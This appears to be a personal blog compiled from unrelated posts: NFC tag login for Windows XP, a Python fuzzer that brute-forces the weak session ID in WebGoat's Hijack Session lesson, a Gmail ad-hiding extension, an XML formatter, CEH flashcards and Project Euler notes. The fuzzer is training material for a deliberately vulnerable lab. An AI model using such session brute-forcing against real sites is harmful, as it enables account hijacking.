NFC authentication to Windows XP

1. pGina
- pGina is an open source authentication system, that can be used as a replacement for existing GINA in Windows
- it's architecture is based on plugins
- already supported types of user authentication: RSA SecureID, Kerberos, LDAP, PAM, SSH, and others..
- dummy skeleton plugin can be extended/modified to support authentication with nfc touchatag mifare tags (or any other suported by libnfc)


2. Libnfc
- libnfc (from version 1.5.1)  has a demo reader/writer for Mifare Ultralight cards.  This can be modified and used as an external program, launched by the plugin dll to perform nfc tag reading. Based on the ID read (or maybe other info) authentication can be performed.


3. Steps to use/enhance/customize the plugin
- study dummyPlugin
- useful resources on pGina mailing lists
- the binary for Mifare Ultralight tags reader can be modified and then integrated and built with libnfc cmake system. 
- another reader can be used (also from nfc library), for example one for the well-known  Mifare classic tag.
(!!! Security broken, but this is another story: 
http://en.wikipedia.org/wiki/MIFARE#Security_of_MIFARE_Classic
MFCUK: MiFare Classic Universal toolKit, 
crapto1: attacks against crypto1 proprietary cipher and
MFOC:  Mifare Classic Offline Cracker)


Resources:

• A platform independent Near Field Communication library: libnfc
• Open source replacement for authentication in MS Windows: pGina
• Cheap NFC reader + demo cards (MIFARE Ultralight tags) : Touchatag
• PoC plugin for pGina 1.x (Windows XP) to suport login with nfc tag: code.

PoC fuzzer for weak session ID (WebGoat Hijack Session level)

The "Hijack Session" level from Session Management Flaws category guides you through cracking (through brute-force) a weak session id number, predictable, based on 2 parts:
- a sequential number
- time (in milliseconds) 


The first part of the solution implies using WebScarab's session analysis features. After finding out the missing number, and the time range for the missing number, the session cookie can be easily cracked. A Java tool for doing this is J-Baah. 
A simple python script to do just that, brute force the time variable, could be:

'''
Fuzzer for weak session ID (WebGoat Hijack Session level)

'''

import httplib

if __name__=="__main__":
 httpServ = httplib.HTTPConnection("127.0.0.1", 80)
 
 httpServ.connect()

 for wid in range (473, 582):
  weakid = "10991-1322155944%s" % wid
 
  headers = {"Host": "localhost",
     "Proxy-Connection": "keep-alive",
     "Content-length": "69",
     "Cache-Control": "max-age=0",
     "Origin": "http://localhost",
     "User-Agent": "Fuzzy",
     "Content-Type": "application/x-www-form-urlencoded",
     "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
     "Referer": "http://localhost/WebGoat/attack?Screen=192&menu=1700",
     "Accept-Encoding": "gzip,deflate,sdch",
     "Accept-Language": "en-US,en;q=0.8",
     "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.3",
     "Cookie": "JSESSIONID=E7F6B85DD9423511BF95E45B70332DAB; WEAKID=%s" % weakid,
     "Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="}
  httpServ.request('POST', 
      '/WebGoat/attack?Screen=192&menu=1700', 
      'Username=Jack&Password=sniffy&WEAKID=%s&SUBMIT=Login'% weakid,
      headers)

  response = httpServ.getresponse()
  print "weakid: ", weakid
  print response.read()
 
  httpServ.close()
 

(Modifications needed for adjusting the missing sequential number (found through WebScarab session analysis), and the time range. )

Hide right side ads in Gmail

A simple chrome extension to hide the ads showed in the right side of emails. The ads will still be there (someone will still search through emails to generate suitable ads), but will be hidden using CSS.
Nice tutorials on building extension for chrome at [5] and [4].
The source code and packed .crx extension are uploaded to google code.
Compilations of references (thanks):

1.   Getting started
2.   Content scripts
3.   Extensions FAQ
4.   Extensions dev guide
5.   Creating a chrome extension tutorial
6.   IconFinder 

XML Formatter

Many times I've searched for tools/plugins/libraries to format/indent/... small XML files. A tool to do that can be easily done with classes from System.Xml namespace. 

try{      
 // Format XML file
 XmlDocument^ doc = gcnew XmlDocument;
 
 char tmpFileName[MAX_PATH] = "";
 GetTempFileName(".", "bak_1", 0, tmpFileName);
 
 // convert unmanaged -> managed
 String^ srcFile = gcnew String(szFileName);
 String^ tmpFile = gcnew String(tmpFileName); 
 
 File::Copy(srcFile, tmpFile, true);
 try{
  doc->Load(tmpFile);
 }
 catch(XmlException^ e1) {
  //convert Managed -> unmanaged
  TCHAR* errMsg = (TCHAR*)(void*)Marshal::StringToHGlobalAnsi(e1->Message);
  MessageBox(NULL, errMsg, "Error", 0);
  return 0;
 }

 XmlWriterSettings^ xws = gcnew XmlWriterSettings;     
 xws->Indent = true;
 xws->CheckCharacters = false;

 XmlWriter^ writer = XmlWriter::Create(srcFile, xws);      
 doc->Save(writer);
 writer->Close();

 File::Delete(tmpFile);
}
catch(Exception ^e) {
 MessageBox(NULL, szFileName, "Exception while converting following files:", 0);
}
MessageBox(NULL, "Converted", "ok", 0);

How nice would be to build your own small tools and adapt them when you need to.   A (very) small step towards being a self sustainable programmer is this :)
http://code.google.com/p/cool-xml/

Easy reviewing with Anki

Anki is a program that makes remembering things easier.
Here's  ~300 questions,  put in anki flash cards, extracted from great ceh exam prep guide.
...would have been very useful in reviewing the material.

Number of paths in square grid (Project Euler problem 15)

Description of the problem (from here ):
Starting in the top left corner of a 22 grid, there are 6 routes (without backtracking) to the bottom right corner.

How many routes are there through a 2020 grid?


A: We can observe that:

•  every path has exactly 2*n moves, every move being either right or down (backtracking isn't allowed)
• in every 2*n path there are n moves down and n moves right. 

So, the number of all the distinct possibilities is the number of ways we can arrange n right moves from 2*n positions:

Number of digits in Fibonacci term (Project Euler problem 25)

Q: The question from the problem 25  is to find the first term in the Fibonacci sequence to contain 1000 digits. 


A: The answer comes from wiki: 


Since F_n is asymptotic to , the number of digits in  is asymptotic to . As a consequence, for every integer d > 1 there are either 4 or 5 Fibonacci numbers with d decimal digits.


So, 1000/0.2090 is approximately  4784, and the first Fibonacci term with 1000 digits is the 4782th term.